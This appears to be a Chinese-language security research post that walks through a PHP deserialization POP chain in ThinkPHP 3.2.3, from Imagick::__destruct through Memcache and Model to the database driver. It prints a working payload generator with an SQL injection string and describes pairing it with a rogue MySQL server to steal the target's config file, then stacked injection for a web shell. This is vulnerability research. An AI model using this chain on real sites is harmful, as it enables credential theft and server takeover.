OS: MAC OS
PHP: 5.4.45
ThinkPHP: 3.2.3
直接在Web目录下Composer一把梭。
composer create-project topthink/thinkphp=3.2.3 tp3
然后访问首页
框架会自动生成一个默认控制器,在默认控制器下添加一个测试用的Action
即可。
全局搜索function __destruct(
,找一个起点。
文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
这里的$this->img
可控,且调用了$this->img
的destroy()
。
这时候我们需要一个有destroy()
成员方法的一个跳板类,还是一样全局搜索function destroy(
,成功找到一个可用的跳板类。
文件:/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
这里的destroy()
方法需要传入一个$sessID
,但是前面Imagick::__destruct
中调用destroy()
方法的时候并没有传值。
这里踩了下坑,因为在PHP7下起的ThinkPHP框架在这种情况下(调用有参函数时不传参数)会触发框架里的错误处理,从而报错。这块暂时没细究。
切换到PHP5继续往下分析。这里的$this->handle
可控,并且调用了$this->handle
的delete()
方法,且传过去的参数是部分可控的,因此我们可以继续寻找有delete()
方法的跳板类。
全局搜索function delete(
,找到一个Model
类。
文件:/ThinkPHP/Library/Think/Model.class.php
这里的$pk
其实就是$this->pk
,是完全可控的。
下面的$options
是从跳板1传过来的,在跳板1中可以控制其是否为空。$this->options['where']
是成员属性,是可控的,因此506
行的条件我们可以控制,且508
行的条件我们也是可以控制的。
所以我们可以控制程序走到509
行。
在509
中又调用了一次自己$this->delete()
,但是这时候的参数$this->data[$pk]
是我们可控的。
这时delete()
我们就可以成功带可控参数访问了。
这时候熟悉ThinkPHP
的师傅们就应该懂了。这是ThinkPHP
的数据库模型类中的delete()
方法,最终会去调用到数据库驱动类中的delete()
中去,也就是558
行。且上面的一堆条件判断很显然都是我们可以控制的包括调用$this->db->delete($options)
时的$options
参数我们也可以控制。
那么这时候我们就可以调用任意自带的数据库类中的delete()
方法了。
文件:/ThinkPHP/Library/Think/Db/Driver.class.php
上面已经说过了,这边的参数是完全可控的,所以这里的$table
是可控的,将$table
拼接到$sql
传入了$this->execute()
。
这里有一个初始化数据库链接的地方,跟过去看看。
可以通过控制成员属性,使程序调用到$this->connect()
。
可以看到这里是去使用$this->config
里的配置去创建了数据库连接,接着去执行前面拼接的DELETE
SQL语句。
到此,我们就找到了一条可以连接任意数据库的POP链。
此POP链的正常利用过程应该是:
通过某处leak出目标的数据库配置
触发反序列化
触发链中DELETE
语句的SQL注入
但是如果只是这样,那么这个链子其实十分鸡肋。但是因为这里可以连接任意数据库,于是我想到了MySQL恶意服务端读取客户端文件漏洞。
这样的话,利用过程就变成了:
通过某处leak出目标的WEB目录(e.g. DEBUG页面)
开启恶意MySQL恶意服务端设置读取的文件为目标的数据库配置文件
触发反序列化
触发链中PDO连接的部分
获取到目标的数据库配置
使用目标的数据库配置再次出发反序列化
触发链中DELETE
语句的SQL注入
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
开启恶意MySQL服务器,设置读取文件为目标的数据库配置文件。
接着将POC中的数据库连接配置改成恶意MySQL服务器的ip和端口。
使用POC运行后的结果去触发反序列化。
成功触发MySQL恶意服务端读取客户端文件漏洞。
将POC中的数据库连接配置替换为目标的数据库配置,且修改需要注入的SQL语句。
使用POC运行后的结果去触发反序列化。
成功完成SQL注入,而且因为ThinkPHP v3.2.*
默认使用的是PDO驱动来实现的数据库类,因为PDO默认是支持多语句查询的,所以这个点是可以堆叠注入的。
也就是说这里可以使用导出数据库日志等手段实现Getshell,或者使用UPDATE
语句插入数据进数据库内等操作。
因为这里已经可以调用任意数据库类(不止MySQL)了,但是笔主目前只想到这种利用方式,如果有其他更骚的利用方式也欢迎各位大师傅们一起来交流分享。
ThinkPHP3.2.3完全开发手册:https://www.kancloud.cn/manual/thinkphp/1678